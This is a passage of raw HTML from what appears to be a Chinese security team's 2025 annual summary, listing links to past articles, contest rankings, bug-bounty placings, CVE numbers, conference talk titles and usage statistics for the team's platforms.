href="https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247512070&amp;idx=1&amp;sn=8d7d266e218972b5869d7c63a8b2e754&amp;scene=21#wechat_redirect" textvalue="HGAME2025杭州电子科技大学网络攻防大赛 PWN writeup" data-itemshowtype="0" linktype="text" data-linktype="2">HGAME2025杭州电子科技大学网络攻防大赛 PWN writeup</a></span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247513179&amp;idx=1&amp;sn=06bae49ee92863acb863c9c69c3e632a&amp;scene=21#wechat_redirect" textvalue="白加黑银狐样本分析" data-itemshowtype="0" linktype="text" data-linktype="2">白加黑银狐样本分析</a></span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247511877&amp;idx=1&amp;sn=d8176431e491281ef849226a54134205&amp;scene=21#wechat_redirect" textvalue="2024年ChaMd5安全团队总结" data-itemshowtype="0" linktype="text" data-linktype="2">2024年ChaMd5安全团队总结</a></span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247513226&amp;idx=1&amp;sn=c77b5b9e97c2fa7535f5bcbbdb638a29&amp;scene=21#wechat_redirect" textvalue="首届CCF智能汽车大赛(CCF IVC 2025) Mini-Venom(第一名)" data-itemshowtype="0" linktype="text" data-linktype="2">首届CCF智能汽车大赛(CCF IVC 2025) Mini-Venom(第一名)</a></span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247512575&amp;idx=1&amp;sn=192a41fde12a9e1af63e941fd9a351d1&amp;scene=21#wechat_redirect" textvalue="旧瓶装旧酒：银狐最新样本分析" data-itemshowtype="0" linktype="text" data-linktype="2">旧瓶装旧酒：银狐最新样本分析</a></span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247513561&amp;idx=1&amp;sn=8c3f488f845d0b3aac971474e68bda3a&amp;scene=21#wechat_redirect" textvalue="安全招聘汇总 | 2025年第一期" data-itemshowtype="0" linktype="text" data-linktype="2">安全招聘汇总 | 2025年第一期</a></span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247512622&amp;idx=1&amp;sn=8973c3c5b0df83394bdf8eabcff59d54&amp;scene=21#wechat_redirect" textvalue="CVE-2025-4076 BL-Link远程代码执行漏洞挖掘" data-itemshowtype="0" linktype="text" data-linktype="2">CVE-2025-4076 BL-Link远程代码执行漏洞挖掘</a></span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247513608&amp;idx=1&amp;sn=772ceb06180e01ab05c80482ee284844&amp;scene=21#wechat_redirect" textvalue="2025强网杯-车联网赛道 writeup by Mini-Venom" data-itemshowtype="0" linktype="text" data-linktype="2">2025强网杯-车联网赛道 writeup by Mini-Venom</a></span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247513156&amp;idx=1&amp;sn=7912d5d3dd800a2a8fc55e672c87bc3c&amp;scene=21#wechat_redirect" textvalue="浅析流行银狐样本" data-itemshowtype="0" linktype="text" data-linktype="2">浅析流行银狐样本</a></span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247512855&amp;idx=1&amp;sn=9d001be46ff23753fbe62390e68920f1&amp;scene=21#wechat_redirect" textvalue="第二届“Parloo 杯”-CTF应急响应挑战赛 writeup by Mini-Venom" data-itemshowtype="0" linktype="text" data-linktype="2">第二届“Parloo 杯”-CTF应急响应挑战赛 writeup by Mini-Venom</a></span></p><p><span leaf="" style="font-style: normal;font-variant-caps: normal;font-weight: 400;text-transform: none;word-spacing: 0em;-webkit-text-stroke-width: 0px;text-decoration: none;background: left top no-repeat rgba(0, 0, 0, 0);font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;word-break: break-word;overflow-wrap: break-word;color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;"><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247513091&amp;idx=1&amp;sn=8cd603c99d25a0259e06e1b1a6b14281&amp;scene=21#wechat_redirect" textvalue="NFC银行卡信息窃取样本分析" data-itemshowtype="0" linktype="text" data-linktype="2">NFC银行卡信息窃取样本分析</a></span></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-color: rgb(0, 0, 0);margin: 30px 30px 15px;padding: 12px 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: solid;border-width: 1px;border-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: initial;border-color: initial;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;padding: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">SRC组</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">2025年喜马拉雅SRC年度第六名(kk)</span><span leaf=""><br/></span><span leaf="">2025年京东SRC年度第五名(Str1am_)健康隐私妙手</span><span leaf=""><br/></span><span leaf="">2025年京东SRC年度第八名(N4vol)</span><span leaf=""><br/></span><span leaf="">2025年京东SRC“优秀合作伙伴”称号</span></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-color: rgb(0, 0, 0);margin: 30px 30px 15px;padding: 12px 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: solid;border-width: 1px;border-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: initial;border-color: initial;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;padding: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">CTF组</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">2025鹏程杯线下优胜奖</span><span leaf=""><br/></span><span leaf="">2025年首届CCF智能汽车大赛线上第一名、线下三等奖</span><span leaf=""><br/></span><span leaf="">2025年CCF智能汽车大赛 三等奖</span><span leaf=""><br/></span><span leaf="">2025年DASCTF 2025上半年赛 第八名</span><span leaf=""><br/></span><span leaf="">2025年DASCTF 2025下半年赛 第四名</span><span leaf=""><br/></span><span leaf="">2025第一届OpenHarmonyCTF专题赛 第五名</span><span leaf=""><br/></span><span leaf="">2025年第八届封神台 第一名</span><span leaf=""><br/></span><span leaf="">2025XYCTF三等奖</span></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-color: rgb(0, 0, 0);margin: 30px 30px 15px;padding: 12px 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: solid;border-width: 1px;border-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: initial;border-color: initial;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;padding: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">H1国外组</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">BBP:</span><span leaf=""><br/></span><span leaf="">Hilton Top 5</span><span leaf=""><br/></span><span leaf="">2025 Visa Main Top 5</span><span leaf=""><br/></span><span leaf="">Chrome VRP 2025 Top researcher Top 10</span><span leaf=""><br/></span><span leaf="">BMW Group Top 10</span><span leaf=""><br/></span><span leaf="">2025 Hackerone(BBP) China Top 5</span><span leaf=""><br/></span><span leaf="">2025 Hackerone(BBP) China Top 10 *2</span><span leaf=""><br/></span><span leaf="">2025 Hackerone(BBP) China Top 20</span><span leaf=""><br/></span><span leaf="">intigriti leaderboard (all time) Top 100</span><span leaf=""><br/></span><span leaf="">intigriti leaderboard (all time) Top 200</span><span leaf=""><br/></span><span leaf="">intigriti leaderboard (all time) Top 300</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">CVE编号:</span><span leaf=""><br/></span><span leaf="">CVE-2024-57707</span><span leaf=""><br/></span><span leaf="">CVE-2025-53865</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">厂商致谢：</span><span leaf=""><br/></span><span leaf="">International Red Cros</span><span leaf=""><br/></span><span leaf="">Microsoft Security Response Center dji（<a href="https://security.dji.com/zh/post/announcement-33）" target="_blank">https://security.dji.com/zh/post/announcement-33）</a></span></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-color: rgb(0, 0, 0);margin: 30px 30px 15px;padding: 12px 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: solid;border-width: 1px;border-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: initial;border-color: initial;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;padding: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">IoT组</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">2025年网古杯 一等奖</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">团队人员发表IoT领域网络安全顶级期刊或会议多篇（NDSS, USENIX, TDSC等）</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">包括CVE-2025-25740, CVE-2025-25741, CVE-2025-25742, CVE-2025-25743, CVE-2025-25744, CVE-2025-25745, CVE-2025-25746，CNVD-2025-21918，CNVD-2025-21917，CNVD-2025-09549，CNVD-2025-08689，CNVD-2025-05920，CNVD-YCGN-202507008648等</span></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-color: rgb(0, 0, 0);margin: 30px 30px 15px;padding: 12px 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: solid;border-width: 1px;border-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: initial;border-color: initial;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;padding: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">Car组</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">首届CCF智能汽车大赛(CCF IVC 2025) 二等奖</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">The AutoPEPS 2025智能汽车无钥匙进入大会 《智能网联合汽车攻防实践》</span><span leaf=""><br/></span><span leaf="">天网杯议题分享《智能网联汽车安全：从车控攻击到车型认证》</span></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-color: rgb(0, 0, 0);margin: 30px 30px 15px;padding: 12px 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: solid;border-width: 1px;border-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: initial;border-color: initial;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;padding: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">AI组</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">2025 LLM指令遵循攻防赛 第1名 一等奖</span><span leaf=""><br/></span><span leaf="">2025 DataCon AI安全赛道第14名，三等奖</span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">腾讯安全沙龙第2期（西安站） 《ltrack - Security Observability Framework for ML/AI Model File Loading》</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">奇御AI安全技术沙龙 《ML/AI 模型文件加载后门及可观测框架》</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">GIAC大模型赋能下一代AI安全分会场 《YJ-SOC 基于 CVE 漏洞的开源项目安全监控与智能告警系统》</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">广西网信办网络安全攻防技术交流活动 《人工智能赋能的智能化漏洞复现》</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">白帽大会 《当AI成为自己的红队:自动化越狱样本构造方法》</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">XCon X HackingGroup国际黑客马拉松网络安全会议 《AI数字人生态攻防》</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">2025年首站补天白帽黑客城市沙龙-西安站 《AIGC 安全实践：AI Red Teaming》</span></span></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-color: rgb(0, 0, 0);margin: 30px 30px 15px;padding: 12px 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: solid;border-width: 1px;border-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: initial;border-color: initial;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;padding: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">产品介绍</span></span></h2><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;align-items: unset;background: no-repeat;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow: unset;padding: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background: no-repeat rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding: 2px 10px;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">CTFIoT网站（<a href="https://www.ctfiot.com/blog）" target="_blank">https://www.ctfiot.com/blog）</a></span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">       主要IoT安全、车联网安全、工控安全、AI安全、区块链安全等方向，也专门在群内每天进行早报推送，数量现在有点多就不统计了，也欢迎发送好文给邮件admin@chamd5.org进行收录。</span></p><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;align-items: unset;background: no-repeat;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow: unset;padding: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background: no-repeat rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding: 2px 10px;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">ChaMd5招聘网站（<a href="http://www.chamd5.org/jobs.aspx）" target="_blank">http://www.chamd5.org/jobs.aspx）</a></span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">依旧为大家持续发送招聘。</span></p><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;align-items: unset;background: no-repeat;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow: unset;padding: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background: no-repeat rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding: 2px 10px;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">CTFHub</span></span></h3><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">新增用户27021个</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">全部用户全年合计开启环境321903个，平均每天开启882个</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">全部用户合计完成技能346344个，平均每天完成949个</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">全部用户合计完成真题10791个</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">全部用户合计获得经验1793800点</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">全部用户合计关注赛事337个</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">全年用户合计签到114044次，其中网站签到81295次，微信公众号签到32749次</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">全部用户通过签到获得金币2421349个</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">全部用户通过完成题目及技能获得金币12679190个</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">全年更新赛事信息369个</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">最受欢迎的工具类型Web/Misc/暴力破解/SQL注入/抓包/隐写/Reverse</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">最受环境的环境类型Web/Misc/SQL注入/Crypto/网鼎杯/Reverse</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">至今最长打卡记录@3w4ter累计打卡2166天，自上线至今从未断签</span></p><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;align-items: unset;background: no-repeat;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow: unset;padding: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background: no-repeat rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding: 2px 10px;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">SecReport</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">社区版私有化部署已突破 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">1,000+</span></strong><span leaf="">SecReport 官网已帮助 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">10,000+</span></strong><span leaf="">人创建 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">20,000+</span></strong><span leaf="">报告</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1em;letter-spacing: 